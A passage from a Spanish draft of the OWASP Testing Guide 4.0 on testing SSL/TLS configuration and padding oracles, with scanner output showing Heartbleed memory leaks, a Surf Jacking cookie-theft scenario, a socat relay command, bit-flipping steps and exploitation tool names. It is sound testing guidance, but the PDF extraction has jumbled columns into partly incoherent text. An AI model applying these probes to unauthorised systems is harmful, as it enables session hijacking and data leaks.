01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.

02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............

01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.

0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........

0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.

0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.

[-] Closing connection

0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.

[-] Connecting to 127.0.0.1:443 using TLSv1.1

0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...

[-] Sending ClientHello

02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.

[-] ServerHello received

02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............

[-] Sending Heartbeat

0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1

0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection

0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... [-] Connecting to 127.0.0.1:443 using TLSv1.2 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [-] Sending ClientHello 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [-] ServerHello received 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. [-] Sending Heartbeat 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 262

Guia de pruebas 4.0 "Borrador"

[-] Displaying response (lines consisting entirely of null bytes are removed): [-] Closing connection 0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|..... 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........

[!] Vulnerable to http://heartbleed.com/

Heartbleed

bug

(CVE-2014-0160)

mentioned

in

0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.......... [!] Vulnerability Status: VULNERABLE 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. ===================================== 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected]. Loading module: CCS Injection script by TripWire VERT ... 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............

Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...

01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.

[!] The target may allow early CCS on TLSv1.2

01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

[!] The target may allow early CCS on TLSv1.1

01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.

[!] The target may allow early CCS on TLSv1

01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.

[!] The target may allow early CCS on SSLv3

01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.

[-] This is an experimental detection script and does not definitively determine vulnerable server status.

0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.

[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/

0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...

[!] Vulnerability Status: Possible

02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........

=====================================

0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 263

Guia de pruebas 4.0 "Borrador"

Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...

===================================== [*] HTTP Compression: DISABLED [*] Immune from BREACH attack mentioned in https://media.blackhat.com/us13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf

Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...

[*] Vulnerability Status: No

[!] STS response header: NOT PRESENT

--------------- RAW HTTP RESPONSE ---------------

[!] Vulnerable to MITM threats mentioned https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats

in

[!] Vulnerability Status: VULNERABLE HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7

--------------- RAW HTTP RESPONSE ---------------

X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure

HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT

Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/

Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7

Content-Length: 193

X-Powered-By: PHP/5.4.7

Connection: close

Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure

Content-Type: text/html Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/

Content-Length: 193



Connection: close



Content-Type: text/html





<script src=”http://othersite/test.js”>







Documento Pre-release cortesía de Fernando Vela para drangonjar.org 264

Guia de pruebas 4.0 "Borrador"



=====================================

<script src=”http://othersite/test.js”> Checking localhost:443 for ROBUST use of anti-caching mechanism ... [!] Cache Control Directives: NOT PRESENT [!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked. ===================================== [!] Vulnerability Status: VULNERABLE

Checking localhost for HTTP support against HTTPS Stripping attack ...

------------------------------------------------[!] HTTP Support on port [80] : SUPPORTED [!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09Marlinspike-Defeating-SSL.pdf

Robust Solution:

[!] Vulnerability Status: VULNERABLE - Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

=====================================

Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTGAUTHN-006) http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx

Checking localhost:443 for HTTP elements embedded in SSL page ... ===================================== [!] HTTP elements embedded in SSL page: PRESENT [!] Vulnerable to MITM malicious content injection attack

Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...

[!] Vulnerability Status: VULNERABLE

[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES --------------- HTTP RESOURCES EMBEDDED --------------- http://othersite/test.js

[!] Vulnerable to Surf Jacking attack mentioned https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf

- http://somesite/test.css

[!] Vulnerability Status: VULNERABLE

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 265

in

Guia de pruebas 4.0 "Borrador"

--------------- RAW HTTP RESPONSE ---------------

[!] Vulnerable to MITM attack described in [!] Vulnerable to MITM attack described in

HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT

http://www.isg.rhul.ac.uk/tls/

Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7

[!] Vulnerability Status: VULNERABLE

X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/

=====================================

Content-Length: 193 Connection: close

Checking localhost:443 for TLS 1.1 support ...

Content-Type: text/html Checking localhost:443 for TLS 1.2 support ... ===================================== [*] TLS 1.1, TLS 1.2: SUPPORTED Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

[*] Immune from BEAST attack mentioned http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025

in

[*] Vulnerability Status: No [*] Forward Secrecy: SUPPORTED [*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 [*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.

=====================================

[*] Vulnerability Status: No Loading module: sslyze by iSecPartners ... ===================================== Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE2011-1473,CVE-2011-5094) ... Checking localhost:443 for RC4 support (CVE-2013-2566) ...

[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED [!] RC4: SUPPORTED [*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 266

Guia de pruebas 4.0 "Borrador"

https://www.thc.org/thc-ssl-dos/

TLS_ECDH_anon_WITH_RC4_128_SHA

[*] Vulnerability Status: No

TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA TLS_ECDH_anon_WITH_AES_256_CBC_SHA (TLSv1.0: same as above)

[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED

(TLSv1.1: same as above)

[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555

(TLSv1.2: same as above)

[*] Vulnerability Status: No

[!] LANE ciphers : SUPPORTED ===================================== [!] Attackers may be ABLE to recover encrypted packets. [!] Vulnerability Status: VULNERABLE Loading module: TestSSLServer by Thomas Pornin ... Checking localhost:443 for SSL version 2 support ...

===================================== [*] SSL version 2 : NOT SUPPORTED [*] Immune from SSLv2-based MITM attack [*] Vulnerability Status: No

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...

=====================================

Supported GCM cipher suites against Lucky13 attack:

Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...

TLSv1.2 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_GCM_SHA384

Supported LANE cipher suites: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 SSLv3 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 RSA_EXPORT_WITH_RC4_40_MD5 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 RSA_EXPORT_WITH_RC2_CBC_40_MD5 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 RSA_EXPORT_WITH_DES40_CBC_SHA RSA_WITH_DES_CBC_SHA DHE_RSA_EXPORT_WITH_DES40_CBC_SHA [*] GCM/CCM ciphers : SUPPORTED DHE_RSA_WITH_DES_CBC_SHA [*]

Immune

from

Lucky13

attack

mentioned

in

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 267

Guia de pruebas 4.0 "Borrador"

http://www.isg.rhul.ac.uk/tls/Lucky13.html [*] Vulnerability Status: No

=====================================

Checking localhost:443 for TLS Compression support against CRIME (CVE2012-4929) & TIME attack ...

[*] TLS Compression : DISABLED

Estos controles deben aplicarse a todos los canales de comunicación SSLwrapped visibles utilizados por la aplicación. Aunque este es el servicio https que generalmente se ejecuta en el puerto 443, puede haber servicios adicionales involucrados dependiendo de la arquitectura de las aplicaciones web y de los problemas de implementación (si queda un puerto HTTPS administrativo abierto, servicios HTTPS en puertos no estándar, etc.).

Por lo tanto, se aplican estos controles a todos los puertos SSL-wrapped que se han descubierto. Por ejemplo, el scanner nmap ofrece un modo de exploración (activado por el interruptor de línea de comandos – sV) que identifica servicios SSL-wrapped. El escáner de vulnerabilidades Nessus tiene la capacidad de realizar comprobaciones SSL en todos los servicios SSL/TLSwrapped.

[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beerywp.pdf Ejemplo 1. Prueba de la validez del certificado (manualmente) [*] Vulnerability Status: No

En lugar de proporcionar un ejemplo ficticio, esta guía incluye un ejemplo anónimo de la vida real para subrayar cuán a menudo uno tropieza con sitios https cuyos certificados son inexactos con respecto a su denominación. Las siguientes capturas de pantalla se refieren a un sitio regional de una empresa de IT de alto perfil.

=====================================

[+] Breacher finished scanning in 12 seconds.

Estamos visitando un sitio de .it y el certificado fue emitido para un sitio .com. Internet Explorer advierte que el nombre del certificado no coincide con el nombre del sitio.

[+] Get your latest copy at http://yehg.net/

Prueba de la validez de los certificados SSL - de clientes y servidores En primer lugar, actualice el navegador porque caducan los certificados CA y en cada versión del navegador estos se renuevan. Examine la validez de los certificados utilizados por la aplicación. Los navegadores emitirán una advertencia cuando encuentren certificados expirados, emitidos por CA no confiables y/o que no coincidan el nombre con el sitio al que debe referirse.

Haga clic sobre el candado que aparece en la ventana del navegador cuando visita un sitio HTTPS; los evaluadores pueden consultar información relacionada con el certificado que incluye al emisor, el período de validez, las características de cifrado, etc.

Si la aplicación requiere un certificado del cliente, el evaluador tendrá que instalar uno para acceder a ésta. La información del certificado está disponible en el navegador mediante la inspección de los correspondientes certificados en la lista de certificados instalados.

Advertencia emitida por Microsoft Internet Explorer

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 268

Guia de pruebas 4.0 "Borrador"

El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede determinar la identidad del sitio .com al que el certificado se refiere porque no conoce la CA que firmó el certificado.

De hecho, Internet Explorer y Firefox no vienen precargados con la misma lista de CA. Por lo tanto, puede variar el comportamiento con diferentes navegadores.

• La victima se registra en una página web segura https://somesecuresite/. • La página web segura emite una cookie de sesión cuando el cliente se conecta. • Mientras está conectado, la víctima abre una nueva ventana de navegación y va a http://examplesite/ • Un atacante sentado en la misma red es capaz de ver el tráfico transparente en http://examplesite. • El atacante envía un “301 Moved Permanently” en respuesta al tráfico transparente en http://examplesite. La respuesta contiene el encabezado “Location: http://somesecuresite /”, lo que hace parecer que examplesite está enviando al navegador hacia somesecuresite. Note que el esquema de la URL is HTTP y no HTTPS. • El navegador de la víctima inicia una nueva conexión con texto transparente con http://somesecuresite/ y envía una solicitud HTTP que contiene la cookie en el encabezado HTTP en texto transparente. • El atacante ve este tráfico y registra la cookie para su uso posterior.

Para comprobar si una web es vulnerable, realice las siguientes pruebas:

Advertencia emitida por Mozilla Firefox

[1] Revise si el sitio web soporta protocolos HTTP y HTTPS. [2] Revise si las cookies no tienen banderas de “Seguridad”.

Prueba de otras vulnerabilidades Como se mencionó anteriormente, existen otros tipos de vulnerabilidades que no están relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado o certificados.

Aparte de otras vulnerabilidades que se discuten en otras partes de esta guía, existe una vulnerabilidad cuando el servidor proporciona al sitio web los protocolos HTTP y HTTPS y permite a un atacante forzar a una víctima a utilizar un canal no seguro en lugar de uno seguro.

SSL Strip Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los usuarios entran en un sitio web de HTTPS por un enlace o una redirección.

Los sitios de banca personal tienen una configuración similar, con un registro de iframed o un formulario con un atributo de acción sobre HTTPS, pero la página en HTTP.

Surf Jacking (Secuestro de navegación) El ataque de Surf Jacking [7] fue presentado primero por Sandro Gauci y permite a un atacante secuestrar una sesión HTTP, incluso cuando la conexión de la víctima está cifrada mediante SSL o TLS.

Un atacante en una posición privilegiada - como se describe en SSL strip [8] puede interceptar el tráfico cuando el usuario está en el sitio http y manipularlo para obtener un ataque de Man In The Middle en HTTPS. Una aplicación es vulnerable si es compatible con HTTP y HTTPS.

El siguiente es un escenario de cómo puede ocurrir el ataque:

Pruebe mediante un proxy HTTP

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 269

Guia de pruebas 4.0 "Borrador"

Dentro de entornos corporativos, los evaluadores pueden ver los servicios que no son directamente accesibles y pueden acceder a ellos a través del proxy HTTP mediante el método CONNECT [36].

Ejemplo 10: Apache Para revisar las suites y protocolos de cifrado soportados por el servidor

La mayoría de las herramientas no funcionan en este escenario porque tratan de conectarse al puerto tcp deseado para iniciar el protocolo de conexión SSL/TLS. Con la ayuda de software de reinstalación como socat, [37] los probadores pueden activar esas herramientas para usarlas con los servicios detrás de una proxy HTTP.

web Apache2, abra el archivo ssl.conf SSLCipherSuite, SSLProtocol, SSLInsecureRenegotiation y SSLCompression.

y

busque las directivas SSLHonorCipherOrder,

Prueba de la validez de los certificados SSL - de clientes y servidores Ejemplo 8. Pruebe mediante un proxy HTTP Para conectarse con destined.application.lan:443 mediante un 10.13.37.100:3128 ejecute socat como sigue:

proxy

$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128

Examine la validez de los certificados utilizados por la aplicación a nivel de cliente y servidor. El uso de los certificados es principalmente a nivel del servidor web, sin embargo, puede haber rutas de comunicación protegidas por SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la arquitectura de las aplicaciones para identificar todos los canales SSL protegido.

Herramientas Entonces el evaluador puede apuntar todas las demás herramientas hacia localhost:9999:

• [21][Qualys SSL Labs - SSL Server Test: ssllabs.com

$ openssl s_client -connect localhost:9999

• [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos plugins para probar diferentes vulnerabilidades relacionadas con SSL, certificados y la presencia de autenticación HTTP básica sin SSL.

Todas las conexiones a localhost:9999 serán efectivamente retransmitidas por socat mediante un proxy hacia destined.application.lan:443.

• [32] [TestSSLServer: bolet.org]: un scanner java - y también un ejecutable de windows - incluye pruebas para suites de cifrado, CRIME y BEAST • [33] [sslyze: github.com]: es un script python para revisar vulnerabilidades en SSL/TLS.

Revisión de la configuración • [28] [SSLAudit | code.google.com: un escáner ejecutable con un script perl /windows de acuerdo a la guía Qualys SSL Labs Rating Guide.

Prueba de las suites de cifrado SSL/TLS débiles Compruebe la configuración de los servidores web que ofrecen servicios de https. Si la aplicación web proporciona otros servicios SSL/TLS wrapped, éstos deben comprobarse también.

• [31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar servicios basados en SSL y luego verificar el certificado y vulnerabilidades SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con un rango interno.

Ejemplo 9. Windows Server Revise la configuración en Microsoft Windows Server (2000, 2003 y 2008) usando la clave de registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr oviders\SCHANNEL\

que tiene algunas KeyExchangeAlgorithms.

subclaves

• [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]: un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.

como

cifras,

protocolos

y

• [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para consultas manuales de servicios SSL/TLS • [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de los proxies SSL como stunnel que puede utilizarse para permitir que herramientas activas de no SSL se comuniquen con los servicios SSL) • [37] [socat | dest-unreach.org]: relay multipropósito

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 270

Guia de pruebas 4.0 "Borrador"

• [38] [testssl.sh | testssl.sh ]

• [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com] • [20] [Qualys SSL Labs SSL Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]

Threat

Referencias • [18] [Qualys SSL Labs - Forward Secrecy | Recursos OWASP community.qualys.com] • [5] [Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTG-SESS-002) | owasp.org] • [4][ Guía de pruebas OWASP - Pruebe la configuración de la infraestructura y la red (OTG-CONFIG-001) | owasp.org]

• [15] [Qualys SSL Labs - RC4 Usage | community.qualys.com] • [16] [Qualys SSL Labs - BEAST | community.qualys.com] • [17] [Qualys SSL Labs - CRIME | community.qualys.com]

• [6] [Guía de pruebas OWASP - Pruebe el HTTP Strict Transport Security (OTG-CONFIG-007) | owasp.org] • [2] [Guía de pruebas OWASP - Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]

• [7] [SurfJacking attack|resources.enablesecurity.com] • [8] [SSLStrip attack | thoughtcrime.org] • [19] [PCI-DSS v2.0 | pcisecuritystandards.org]

• [3] [Guía de pruebas OWASP - Pruebas del transporte de credenciales en un canal encriptado (OTG-AUTHN-001) | owasp.org]

• [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| springer.com]

• [22] [OWASP Cheat sheet - Transport Layer Protection | owasp.org ] Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002) • [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org] Resumen • [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection | owasp.org] • [25] [OWASP ASVS 2009 - Verification 10 | code.google.com]

Un padding oracle es una función de la aplicación que decodifica datos encriptados que proporciona el cliente, por ejemplo, estado de sesión interna almacenado en el cliente y fuga el estado de la validez del padding después de descifrado.

• [26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]

Libros Blancos • [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176) |

La existencia de un padding oracle permite a un atacante descifrar datos encriptados y cifrar datos arbitrarios sin conocer la clave utilizada para estas operaciones criptográficas. Esto puede llevar a la fuga de datos sensibles o a una vulnerabilidad de privilegios escalada si la aplicación asume la integridad de los datos cifrados.

ietf.org] • [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] • [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions | ietf.org] • [11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] • [12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]

Los bloques de cifrado encriptan los datos en bloques de tamaños determinados. Los tamaños de bloque utilizados por los cifradores comunes son de 8 y 16 bytes. Los datos cuyo tamaño no coincide con un múltiplo del tamaño del bloque de cifrado usado, tienen que rellenarse de una forma específica para que el decodificador pueda eliminar el padding. Un esquema común de padding utilizado es PKCS #7. Llena los bytes restantes con el valor de la longitud del padding.

• [13] [Qualys SSL Labs - TLS Renegotiation DoS | Ejemplo: community.qualys.com] • [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices | ssllabs.com]

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 271

Guia de pruebas 4.0 "Borrador"

Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite cinco veces después del texto.

Primero deben identificarse los puntos de entrada posibles para los padding oracles. Generalmente deben cumplirse las siguientes condiciones:

Una condición de error está presente si el padding no coincide con la sintaxis del esquema de padding usado. Un padding oracle está presente si una aplicación filtra esta condición de error de padding específico para datos cifrados proporcionados por el cliente.

[1] Los datos están codificados. Son buenos candidatos los valores que parecen aleatorios.

Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente o por otro canal lateral como comportamiento de sincronización.

[2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado (Base64 se utiliza a menudo); es un múltiplo de los tamaños de bloque de cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesión) comparten un divisor común en la longitud.

Ejemplo: Ciertos modos de operación criptográfica permiten ataques de bit-flipping, donde voltear un bit en el texto de cifrado hace que el bit también se voltee en el texto simple.

Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y con una longitud de 16 bytes.

Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta manipulación.

Si se identifica un valor ingresado que es un buen candidato, debe verificarse el comportamiento de la aplicación con la manipulación del valor codificado en referencia al bit.

El ataque de padding oracle permite que un atacante descifre datos codificados sin el conocimiento de la clave de cifrado y el cifrado utilizado mediante el envío de textos, hábilmente manipulados, de cifrado al padding oracle y observa los resultados devueltos por este.

Normalmente este valor Base64 codificado incluirá el vector de inicialización (IV) que se antepone al texto cifrado. Dado un texto plano p y un cifrado con un bloque de tamaño n, el número de bloques será b = ceil (length(b) / n).

Esto causa la pérdida de confidencialidad de los datos cifrados. Por ejemplo, en el caso de datos de sesión almacenados en el lado del cliente, el atacante puede obtener información sobre el estado interno y la estructura de la aplicación.

La longitud de la cadena cifrada será y=(b+1)*n debido al vector de inicialización. Para verificar la presencia del oráculo, decodifique la cadena, cambie el último bit del penúltimo bloque b-1 (el bit menos significativo del byte en y-n-1), vuelva a codificar y envíe. A continuación, decodifique la cadena original, cambie el último bit del bloque b-2 (el bit menos significativo del byte en y-2*n-1), vuelva a codificar y envíe.

Un ataque de padding oracle también permite a un atacante cifrar textos arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la aplicación asume como correcta la integridad y autenticidad de los datos descifrados, un atacante podría ser capaz de manipular el estado de sesión interna y posiblemente obtener mayores privilegios.

Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el servidor o la aplicación está utilizando una mala práctica de codificado de IV), varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sería anteponer un bloque al azar y cambiar bits para hacer que el último byte del bloque añadido tome todos los valores posibles (0 a 255).

Cómo probar

Las pruebas y el valor base deben causar al menos tres diferentes estados durante y después del descifrado:

Pruebas de Caja Negra Prueba para determinar las vulnerabilidades de padding oracle:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 272

Guia de pruebas 4.0 "Borrador"

• Se consigue descifrar el texto cifrado; los datos resultantes son correctos. • Se consigue descifrar el texto cifrado, los datos resultantes son confusos y causan algunas excepciones y errores de manejo en la lógica de la aplicación.

[1] La integridad del texto cifrado debe ser verificada por un mecanismo seguro, como HMAC o con formas de autenticar la operación de cifrado como GCM o CCM.

• Falla el descifrado del texto debido a errores de padding. [2] Todos los estados de error durante la decodificación y el posterior procesamiento son manejados uniformemente. Compare las respuestas con cuidado. Busque sobre todo las excepciones y los mensajes que indican que algo está mal con el padding. Si aparecen estos mensajes, la aplicación contiene un oracle padding.

Herramientas • PadBuster: github.com

Si los tres estados diferentes descritos anteriormente son implícitamente observables (mensajes de error diferentes, tiempos del lado de los canales), hay una alta probabilidad de que en este momento hay un oracle padding presente. Trate de realizar el ataque de oracle padding para confirmarlo.

• python-paddingoracle: github.com • Poracle: github.com • Padding Oracle Exploitation Tool (POET): netifera.com

Ejemplos: Ejemplos • Visualización del proceso de decodificación: erlend.oftedal.no • ASP.NET lanza la excepción “System.Security.Cryptography.Cryptographic Exception: Padding is invalid and cannot be removed.” si el padding del texto cifrado que se decodificó está roto. Referencias Libros Blancos • En Java, una excepción javax.crypto.BadPaddingException se lanza en este caso.

• Wikipedia - Padding oracle attack: en.wikipedia.org • Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”: usenix.org

